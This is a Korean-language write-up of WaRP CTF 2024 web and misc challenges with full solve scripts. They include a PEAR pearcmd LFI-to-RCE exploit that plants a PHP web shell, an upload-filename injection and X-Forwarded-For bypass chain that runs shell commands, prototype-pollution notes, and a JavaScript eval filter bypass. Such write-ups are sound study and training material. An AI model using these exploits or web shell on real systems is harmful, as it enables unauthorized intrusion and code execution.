Post

WaRP CTF 2024 Write Up

WaRP CTF 2024 Write Up(web/misc)

WaRP CTF 2024 Write Up

WaRP CTF 2024

경기과학고등학교에서 주최한 WaRP CTF에 참여했다.

웹 문제가 정말 재밌어서 출제자님을 존경한다.

참고로 tuplest의 블로그를 보고 가독성이 훨씬 낫다고 생각해서 블로그를 옮겼다. - 딱히 버스는 아니다.

WEB

I Like Pear

Probably not the pear you’re thinking of .. 🤔

제목이랑 설명부터 php의 PEAR를 사용하라고 말하고 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
FROM php:8.0-apache

RUN apt update && apt install gcc

RUN rm -rf /var/www/html/*

COPY flag.txt /flag.txt
COPY readflag.c /tmp/readflag.c

RUN chmod 440 /flag.txt
RUN gcc /tmp/readflag.c -o /readflag
RUN rm /tmp/readflag.c
RUN chmod 2555 /readflag

COPY src /var/www/html/
RUN chmod 555 /var/www/html

RUN ln -sf /dev/null /var/log/apache2/access.log && \
    ln -sf /dev/null /var/log/apache2/error.log

USER root

EXPOSE 80

플래그는 /flag.txt에 존재하고 해당 docker base에는 PEAR가 포함되어있다.

1
2
3
4
5
6
7
8
9
10
11
12
<?php
    ini_set("session.upload_progress.enabled", "Off");
    ini_set("file_uploads", "Off");
    ini_set('display_errors', '0');

    if(isset($_GET["file"])) {
        if (preg_match("/^(file:|http:|ftp:|zlib:|data:|glob:|phar:|zip:|expect:|php:)/i", $_GET["file"])) {
            die("HAHA... 😀");
        }
        include($_GET["file"]);
    }
?>

file파라미터 값을 검증한 후 include해준다.

upload_progress, file_uploads가 막혀있어서 이 둘을 통한 Race Condition - LFI - RCE는 불가능 해 보인다.

구글링을 통해 다음 링크를 찾았다.

PEARfection: From LFI to RCE

이를 토대로 페이로드를 짤 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import http.client
import re

conn = http.client.HTTPConnection("host1.dreamhack.games", 14776)

cmd = "<?die(system($_GET['cmd']))?>"
path = f"/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/{cmd}+/tmp/sh.php"

conn.request("GET", path)
conn.getresponse().read()

conn.request("GET", '/?file=/tmp/sh.php&cmd=/readflag')
data = conn.getresponse().read().decode()
conn.close()

flag = re.findall(r'WaRP{[^}]+}', data)[0]
print(flag)

admin console

Gin을 마시며 플래그를 획득하세요

요즘들어 golang과 Go의 웹 프레임워크인 Gin을 활용한 문제가 많이 출제되는 것 같다.

언인텐이 없었다면 살짝 더 어려웠던 문제이다.

main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package main

import (
	"database/sql"
	"log"
	"os"

	"admin-console/database"
	"admin-console/routes"

	_ "github.com/mattn/go-sqlite3"
	"golang.org/x/crypto/bcrypt"
)

type User struct {
	Username string
	Password string
}

func createAdmin(db *sql.DB) bool {
	user := "REDACTED"
	pw := "REDACTED"
	hashedPassword, _ := bcrypt.GenerateFromPassword([]byte(pw), bcrypt.DefaultCost)
	_, err := db.Exec("INSERT INTO users (username, password) VALUES (?, ?)",
		user, string(hashedPassword))
	return err == nil
}

func main() {

	dbPath := os.Getenv("DB_PATH")
	if dbPath == "" {
		dbPath = "database.sqlite"
	}
	var err error
	database.DBCon, err = sql.Open("sqlite3", dbPath)
	if err != nil {
		log.Fatal(err)
	}
	defer database.DBCon.Close()

	_, err = database.DBCon.Exec(`
		CREATE TABLE IF NOT EXISTS users (
			username TEXT PRIMARY KEY,
			password TEXT NOT NULL
		)
	`)

	createAdmin(database.DBCon)

	if err != nil {
		log.Fatal(err)
	}

	routes.Run()
}

main.go에서는 admin계정을 생성한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
...
func getRoutes() {
	router.TrustedProxies = []string{
		"172.16.0.0/12",
		"127.0.0.1",
		"10.0.0.0/8",
	}

	router.LoadHTMLGlob("templates/*")

	router.GET("/", middleware.ValidateJWT(), func(c *gin.Context) {
		user := c.MustGet("username").(string)
		c.HTML(http.StatusOK, "index.html", gin.H{"user": user, "logged": user != ""})
	})

	auth := router.Group("/auth")
	addAuthRoutes(auth)

	admin := router.Group("/admin", middleware.ForceJWT(), middleware.CheckLocalIp())
	addAdminRoutes(admin)

	router.GET("/uploads/:target/:file", func(c *gin.Context) {
		target := c.Param("target")
		file := c.Param("file")
		route := path.Join("/app/uploads", target, file)
		c.FileAttachment(route, file)
	})
}

routes/main.go를 보면 /uploads/:target/:file경로에서 /app/uploads 폴더 하위의 파일을 다운받게 해준다.

c.FileAttachment에 CVE-2023-29401이 존재한다.

1
2
3
4
func (c *Context) FileAttachment(filepath, filename string) {
	c.Writer.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=\"%s\"", filename))
	http.ServeFile(c.Writer, c.Request, filepath)
}

위와 같이 구현되어 있어 malicious.sh";dummy=.txt 등을 삽입하여 검증을 우회할 수 있다.

또한 router.TrustedProxies가 설정되어 있다. 하지만 X-Forwarded-For 헤더로 우회할 수 있다.

참고 : nginx.conf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
server {
    listen 80;
    server_name localhost;

    location / {
        proxy_pass http://app:8000;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_cache_bypass $http_upgrade;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
...
func checkBannedKeyword(user string) bool {
	banned_name := []string{
		"KIMGILDONG123",
		"'",
		";",
		"--",
	}
	user = strings.ToUpper(user)
	for _, name := range banned_name {
		if strings.Contains(user, name) {
			return false
		}
	}
	return true
}

func addAuthRoutes(rg *gin.RouterGroup) {
	users := rg.Group("/login")

	users.GET("/", func(c *gin.Context) {
		c.HTML(http.StatusOK, "login.html", gin.H{})
	})

	users.POST("/", func(c *gin.Context) {
		var user User
		if err := c.ShouldBind(&user); err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"error": "Bad Request"})
			return
		}
		if !checkBannedKeyword(user.Username) || !checkBannedKeyword(user.Password) {
			c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid Character Included"})
			return
		}

		name := user.Username

		var storedUser User
		var hashedPassword string
		err := database.DBCon.QueryRow("SELECT username, password FROM users WHERE username = ?",
			name).Scan(&storedUser.Username, &hashedPassword)
		if err != nil {
			c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid credentials"})
			return
		}

		err = bcrypt.CompareHashAndPassword([]byte(hashedPassword), []byte(user.Password))
		if err != nil {
			c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid credentials"})
			return
		}

		key := []byte(os.Getenv("JWT_KEY"))
		t := jwt.NewWithClaims(jwt.SigningMethodHS256,
			jwt.MapClaims{
				"username": name,
				"exp":      time.Now().Add(time.Hour * 2).Unix(),
			})
		s, _ := t.SignedString(key)

		c.SetCookie("token", s, 7200, "/", "", false, false)
		c.JSON(http.StatusOK, gin.H{"message": "Login successful"})
	})
}

routes/auth.go에서는 login을 관리하는데 L68에서 err을 재사용하는 취약점이 발생한다.

hxp 38C3 CTF: Fajny Jagazyn Wartości Kluczy

최근에 FMC에서 한 hxp 38C3 CTF에도 해당 취약점이 출제되었고 9 solve(Hard?)가 났다.

그러나 docker-compose.yml에서 JWT_KEY=furicbhi3ufh348fhe34if이 유출되어 언인텐이 터졌다.

그래서 로컬에서 admin계정 생성 후 로그인하여 토큰을 그대로 사용하면 된다.

(수정 - 2025.4.8) 코드 잘못 봤다. 그냥 트릭써서 test계정으로 로그인하면된다. (kİmgildong123/0p1q9o2w8i3e)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
...
func addAdminRoutes(rg *gin.RouterGroup) {
	dashboard := rg.Group("/dashboard")

	dashboard.GET("/", func(c *gin.Context) {
		c.HTML(http.StatusOK, "dashboard.html", gin.H{})
	})

	upload := rg.Group("/upload")
	upload.POST("/", func(c *gin.Context) {
		// Handle multipart file upload separately
		dst := "/app/uploads/client"
		file, err := c.FormFile("file")
		if err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"error": "no file provided"})
			return
		}

		if pathlib.Ext(file.Filename) != ".txt" {
			c.JSON(http.StatusBadRequest, gin.H{"error": "invalid file extension"})
			return
		}
		filename, err := url.QueryUnescape(pathlib.Base(file.Filename)) //! 취약함
		if err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"error": "invalid filename"})
			return
		}
		dst = pathlib.Join(dst, filename)
		if err := c.SaveUploadedFile(file, dst); err != nil {
			fmt.Println(err)
			c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to save file"})
			return
		}

		c.JSON(http.StatusOK, gin.H{"message": "success"})
	})

	validate := rg.Group("/validate")
	validate.POST("/", func(c *gin.Context) {
		var req struct {
			Path string `json:"path"`
		}
		if err := c.BindJSON(&req); err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"error": "invalid request"})
			return
		}

		err := bot.DownloadFile("http://"+pathlib.Join("localhost:8000/uploads/client/", req.Path), "/app/bot/jobs/")
		if err != nil {
			fmt.Println(err)
			c.JSON(http.StatusInternalServerError, gin.H{"error": "failed downloading file"})
			return
		}
		c.JSON(http.StatusOK, gin.H{"message": "success"})
	})

	healthcheck := rg.Group("/healthcheck")
	healthcheck.POST("/", func(c *gin.Context) {
		var req struct {
			Target string `json:"target"`
		}

		if err := c.BindJSON(&req); err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"error": "invalid request"})
			return
		}

		res := bot.Healthcheck(req.Target)
		c.JSON(http.StatusOK, gin.H{"response": res})
	})
}

routes/admin.go에는 기능이 많은데

  • /dashboard
    • /upload : .txt 확장자를 가진 파일 업로드
    • /validate : 취약한 c.FileAttachment를 이용해서 /app/bot/jobs/에 파일 다운로드
    • /healthcheck : /app/bot/jobs/{target}.sh 실행
1
2
3
4
5
6
7
8
9
10
11
func DownloadFile(url, saveDir string) error {
	...
	filename := ""
	cd := resp.Header.Get("Content-Disposition")

	pattern := `filename="([^"]+)"`
	r := regexp.MustCompile(pattern)
	match := r.FindStringSubmatch(cd)
	filename = match[1]
	...
}

DownloadFile을 살펴보면 filename="{filename}"과 같이 파싱하므로 위에서 찾은 취약점을 이용하여 .sh파일로 인식되게 할 수 있다.

최종 페이로드는 다음과 같다. (Race Condition을 적용하지 않은.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests as req
from urllib.parse import quote

url = 'http://host3.dreamhack.games:12826'

# JWT_KEY=furicbhi3ufh348fhe34if
token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzUyOTgyODIsInVzZXJuYW1lIjoiUkVEQUNURUQifQ.qV2ZHYw7Wu65B5HNtDovkGm9OngxYsWXWthpkfFmrwU'
headers = {'X-Forwarded-For': '127.0.0.1'}
cookies = {'token': token}

res = req.post(f'{url}/admin/upload', files={'file': (quote('dummy.sh".txt'), b'cat /app/FLAG > /app/uploads/client/flag')}, headers=headers, cookies=cookies)
print(res.text)

res = req.post(f'{url}/admin/validate', json={'path': 'dummy.sh".txt'}, headers=headers, cookies=cookies)
print(res.text)

res = req.post(f'{url}/admin/healthcheck', json={'target': 'dummy'}, headers=headers, cookies=cookies)
print(res.text)

res = req.get(f'{url}/uploads/client/flag', headers=headers, cookies=cookies)
print(res.text)

themeviewer

viewer, board 이런 제목이 정말 두렵다.

flagindex.js에 하드코딩 되어있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
const express = require("express");
const jwt = require("jsonwebtoken");
const fs = require("fs");
const sshpk = require("sshpk");
const cookieParser = require("cookie-parser");

const app = express();

app.set("view engine", "ejs");
app.use(express.json());
app.use(cookieParser());

const PRIVATE_KEY = fs.readFileSync("private").toString();
const PUBLIC_KEY = fs.readFileSync("public.pub").toString();

const default_theme = {
  dark: {
    colors: {
      background: "#121212",
      text: "#ffffff"
    }
  },
  light: {
    colors: {
      background: "#ffffff",
      text: "#121212"
    }
  }
};

let users = {
  admin: "REDACTED"
};

class ThemeManager {
  static merge(target, source) {
    for (let key in source) {
      if (source[key] && typeof source[key] === "object") {
        target[key] = target[key] || {};
        this.merge(target[key], source[key]);
      } else {
        target[key] = source[key];
      }
    }
    return target;
  }

  static createTheme(base, customizations = {}) {
    const theme = base ? { ...default_theme[base] } : {};
    return this.merge(theme, customizations);
  }
}

const parseKey = (keytype, Key, options = { format }) => {
  let key;
  if (keytype === "private") {
    key = sshpk.parsePrivateKey(Key, "ssh");
  } else {
    key = sshpk.parseKey(Key, "ssh", { filename: "publickey" });
  }
  return key.toString(options.format || "pkcs8");
};

app.get("/login", (req, res) => {
  res.render("login");
});

app.get("/", (req, res) => {
  let user = "";
  try {
    const token = req.cookies["token"];
    const decoded = jwt.verify(token, parseKey("public", PUBLIC_KEY));
    user = decoded.user;
  } catch (e) {
    user = "";
  }
  res.render("dashboard", { user: user });
});

app.get("/admin", (req, res) => {
  const token = req.cookies["token"];
  try {
    const decoded = jwt.verify(token, parseKey("public", PUBLIC_KEY));

    if (decoded.user === "admin") {
      res.render("admin", { flag: "WaRP{REDACTED}" });
    } else {
      res.status(403).json({ error: "access denied" });
    }
  } catch (err) {
    res.status(401).json({ error: "invalid token" });
  }
});

//api codes

app.post("/api/theme", (req, res) => {
  const { base, customizations } = req.body;
  try {
    const theme = ThemeManager.createTheme(base, customizations);
    res.json({ success: true, theme: theme });
  } catch (err) {
    res.status(400).json({ error: "invalid theme" });
  }
});

app.post("/api/login", (req, res) => {
  const { username, password } = req.body;
  console.log(username, password, users[username]);
  if (username in users && users[username] === password) {
    const payload = {
      user: username
    };
    const token = jwt.sign(
      payload,
      parseKey("private", PRIVATE_KEY, { format: "pkcs8" }),
      { algorithm: "ES256" }
    );
    res.cookie("token", token);
    res.json({ token });
  } else {
    res.status(401).json({ error: "invalid credentials" });
  }
});

app.listen(8000, () => {
  console.log("running on port 8000");
});

ThemeManager.merge()에서 pp가 발생한다.

언인텐은 무지성 ejs RCE이다…

그러나 재미없으므로 인텐 풀이를 살펴보자.

사용되는 jsonwebtoken 버전은 9.0.2이므로 Algorithm confusion attack은 존재하지 않는다.

1
2
3
4
5
6
7
8
9
const parseKey = (keytype, Key, options = {}) => {
  let key;
  if (keytype === "private") {
    key = sshpk.parsePrivateKey(Key, "ssh");
  } else {
    key = sshpk.parseKey(Key, "ssh", { filename: "publickey" });
  }
  return key.toString(options.format || "pkcs8");
};

하지만 이 함수가 누가봐도 수상해보이고 취약하다.

options.format이 초기화되지 않으므로 pp가 발생한다.

— 이 이후부터는 내가 푼게 아니므로 적지 않는다. —

MISC

justeval

eval is a scary function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
const fs = require("fs");
const express = require("express");

const port = 8000;
const flag = fs.readFileSync("flag.txt", "utf8");

const app = express();
app.use(express.urlencoded({ extended: false }));

app.get("/", (req, res) => {
  res.send(`I am so lazy to make a frontend :)`);
});

app.get("/flag", (req, res) => {
  res.send(`WaRP{REDACTED}`);
});

app.post("/", (req, res) => {
  const input_str = req.body.input_str.toString() || "";
  if (!input_str.includes("[") && !input_str.includes("]")) {
    if (
      !input_str.includes("+") ||
      input_str
        .split("+")
        .slice(1)
        .every((part) => part.startsWith("="))
    ) {
      if (
        input_str.length <= 6 &&
        eval(input_str) > 0 == false &&
        (eval(input_str) == 0) == false &&
        eval(input_str) >= 0 == true
      ) {
        res.redirect("/flag");
      }
    }
  }
  res.redirect("/");
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

드림핵 UCC CTF에 출제된 문제의 진화 버전이다. (이게 MISC인가…?)

[]의 사용이 막혀있고 ++=와 같이 사용할 수 있다.

평범하게 RCE를 할려고 했는데 +가 막혀있고, +=를 활용하자니 eval이 3번 실행되어 rccceee와 같이 작동하는 문제가 생겼다.

eval(input_str) > 0 == false 이 조건문에서 멈춰야 하므로 양수를 리턴해야 한다.

1
2
3
4
5
6
a = "F";
b = "L";
eval("a+=b"); // FL
a = "F";
b = "L";
eval("a+=b;1"); // 1

JS eval은 다음과 같이 동작하기 떄문에 우회할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import re
import requests as req
import string

url = 'http://host1.dreamhack.games:23344'
# url = 'http://localhost:8000'

payload = '''throw Error(f)'''

def send(c):
    res = req.post(url, data={'input_str': c}, allow_redirects=False)
    return res.text

send('e=eval')
send('f=flag')
send('a=""')
for c in payload:
    send(f'b="{c}"')
    send(f'a+=b;1')
res = req.post(url, data={'input_str': 'r=req'}, allow_redirects=False)
flag = send(f'e(a)')

flag = re.findall(r'WaRP\{[a-zA-Z0-9]*\}', flag)[0]
print(flag)

Review

해킹 대회에서 처음으로 1등을 했는데 매우 기분 좋다!

다른 분야에 비해 웹이 쉽게 나와서 많이 풀었지만 admin console은 경험이 부족하거나 언인텐이 없었다면 못 풀었을 수도 있다.

This post is licensed under CC BY 4.0 by the author.